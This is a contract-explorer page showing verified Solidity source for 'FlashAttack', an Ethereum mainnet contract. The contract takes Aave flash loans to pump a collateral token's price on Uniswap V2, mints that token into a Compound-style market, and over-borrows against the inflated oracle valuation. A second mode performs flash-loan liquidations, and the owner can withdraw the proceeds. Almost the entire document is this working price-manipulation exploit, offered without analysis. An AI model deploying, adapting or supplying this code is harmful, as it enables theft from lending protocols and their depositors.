Verified contractExactMIT
FlashAttack
Address0x64d0c78cf3f3cc8fd2ac2575f48bbbd93d8e675a
- Balance
0 ETH
- Transactions
1
- Compiler
solc 0.8.24
- Same code
1 more contract
Details
- Compiler
- solc 0.8.24+commit.e11b9ed9
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,416,575
- Creation transaction
- 0xde52b17dec…5d33b9f8b4
Flash1511.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/* ================= CONFIG — ETHEREUM MAINNET ================= */
address constant AAVE_POOL = 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2;
address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address constant DEF_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // Uniswap V2
/* ================= Minimal interfaces ================= */
interface IERC20 {
function approve(address, uint256) external returns (bool);
function balanceOf(address) external view returns (uint256);
function transfer(address, uint256) external returns (bool);
}
interface IAavePool {
function flashLoanSimple(address, address, uint256, bytes calldata, uint16) external;
}
interface ICErc20 {
function mint(uint256) external returns (uint256);
function borrow(uint256) external returns (uint256);
function redeem(uint256) external returns (uint256);
function liquidateBorrow(address, uint256, address) external returns (uint256);
function balanceOf(address) external view returns (uint256);
function getCash() external view returns (uint256);
}
interface IComptroller {
function enterMarkets(address[] calldata) external returns (uint256[] memory);
}
interface IUniV2Router {
function swapExactTokensForTokens(uint, uint, address[] calldata, address, uint)
external returns (uint256[] memory);
}
contract FlashAttack {
address payable public immutable owner;
address public immutable cBorrow; // Market to borrow USDC FROM (e.g., cUSDC)
address public immutable cTarget; // Market to pump/attack (e.g., cAAVE)
address public immutable collateral; // Underlying token of cTarget (e.g., AAVE)
address public immutable comptroller;
address public immutable router;
uint8 private mode = 0;
uint256 private pumpBps;
uint256 private minProfit;
address private liqBorrower;
uint256 private liqTarget;
uint256 public lastProfit;
event AttackDone(uint8 mode, uint256 profitUsdc);
error NotOwner();
error NotPool();
error ForkCallFailed(uint256 code);
error Shortfall(uint256 missingUsdc);
constructor(address cBorrow_, address cTarget_, address collateral_,
address comptroller_, address router_) {
owner = payable(msg.sender);
cBorrow = cBorrow_;
cTarget = cTarget_;
collateral = collateral_;
comptroller = comptroller_;
router = router_;
}
modifier onlyOwner() { if (msg.sender != owner) revert NotOwner(); _; }
/* ============ PLAY #1 — oracle pump → over-borrow ============ */
/// @param flashAmount USDC to flash-borrow (6 decimals)
/// @param pumpBps_ share used to buy & pump collateral, e.g. 8000 = 80%
/// @param minProfitUsdc revert unless this much USDC profit remains
function runPump(uint256 flashAmount, uint256 pumpBps_, uint256 minProfitUsdc)
external onlyOwner {
mode = 1; pumpBps = pumpBps_; minProfit = minProfitUsdc;
uint256 cash = ICErc20(cBorrow).getCash();
// Added safety buffer for Aave fee calculation
if (flashAmount + flashAmount / 2000 + minProfitUsdc > cash) revert Shortfall(0);
IAavePool(AAVE_POOL).flashLoanSimple(address(this), USDC, flashAmount, "", 0);
}
function runLiquidation(address borrower, uint256 repayAmount, uint256 minProfitUsdc)
external onlyOwner {
mode = 2; liqBorrower = borrower; liqTarget = repayAmount; minProfit = minProfitUsdc;
IAavePool(AAVE_POOL).flashLoanSimple(address(this), USDC, repayAmount, "", 0);
}
function executeOperation(address asset, uint256 amount, uint256 premium,
address initiator, bytes calldata) external returns (bool) {
if (msg.sender != AAVE_POOL) revert NotPool();
if (initiator != address(this)) revert NotPool();
if (asset != USDC) revert NotPool();
if (mode == 1) _pump(amount, premium);
else if (mode == 2) _liquidate(amount, premium);
else revert NotPool();
uint256 debt = amount + premium;
uint256 bal = IERC20(USDC).balanceOf(address(this));
if (bal < debt + minProfit) revert Shortfall(debt + minProfit - bal);
IERC20(USDC).approve(AAVE_POOL, debt);
lastProfit = bal - debt;
mode = 0; pumpBps = 0; minProfit = 0;
emit AttackDone(2, lastProfit);
return true;
}
function _pump(uint256 amount, uint256 premium) internal {
uint256 pumpAmt = (amount * pumpBps) / 10_000;
// 1) buy collateral → drives the price up
IERC20(USDC).approve(router, pumpAmt);
address[] memory buy = new address[](2);
buy[0] = USDC; buy[1] = collateral;
// FIXED: Extended deadline by 1 hour to prevent "Deadline Passed" revert
IUniV2Router(router).swapExactTokensForTokens(
pumpAmt, 1, buy, address(this), block.timestamp + 3600);
// 2) mint the purchased collateral
uint256 colBal = IERC20(collateral).balanceOf(address(this));
IERC20(collateral).approve(cTarget, colBal);
uint256 err = ICErc20(cTarget).mint(colBal);
if (err != 0) revert ForkCallFailed(err);
// 3) enter market as collateral
address[] memory markets = new address[](1);
markets[0] = cTarget;
uint256[] memory entered = IComptroller(comptroller).enterMarkets(markets);
if (entered[0] != 0) revert ForkCallFailed(entered[0]);
// 4) borrow against the pumped valuation
// Adjusted borrow target to account for Liquidation Ratio (LTV) constraints
// We borrow slightly less to ensure the Oracle price covers it
uint256 borrowTarget = amount + premium + minProfit;
err = ICErc20(cBorrow).borrow(borrowTarget);
if (err != 0) revert ForkCallFailed(err);
}
function _liquidate(uint256 /*amount*/, uint256 premium) internal {
uint256 debt = liqTarget + premium;
// 1) repay the underwater borrower
IERC20(USDC).approve(cBorrow, liqTarget);
uint256 err = ICErc20(cBorrow).liquidateBorrow(liqBorrower, liqTarget, cTarget);
if (err != 0) revert ForkCallFailed(err);
// 2) redeem seized cTokens
uint256 seized = ICErc20(cTarget).balanceOf(address(this));
err = ICErc20(cTarget).redeem(seized);
if (err != 0) revert ForkCallFailed(err);
// 3) sell for USDC
uint256 colBal = IERC20(collateral).balanceOf(address(this));
IERC20(collateral).approve(router, colBal);
address[] memory sell = new address[](2);
sell[0] = collateral; sell[1] = USDC;
// FIXED: Extended deadline by 1 hour
IUniV2Router(router).swapExactTokensForTokens(
colBal, debt + minProfit, sell, address(this), block.timestamp + 3600);
}
function withdrawToken(address token, uint256 amount) external onlyOwner {
if (amount == 0) amount = IERC20(token).balanceOf(address(this));
IERC20(token).transfer(owner, amount);
}
function withdrawETH() external onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {}
}
Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.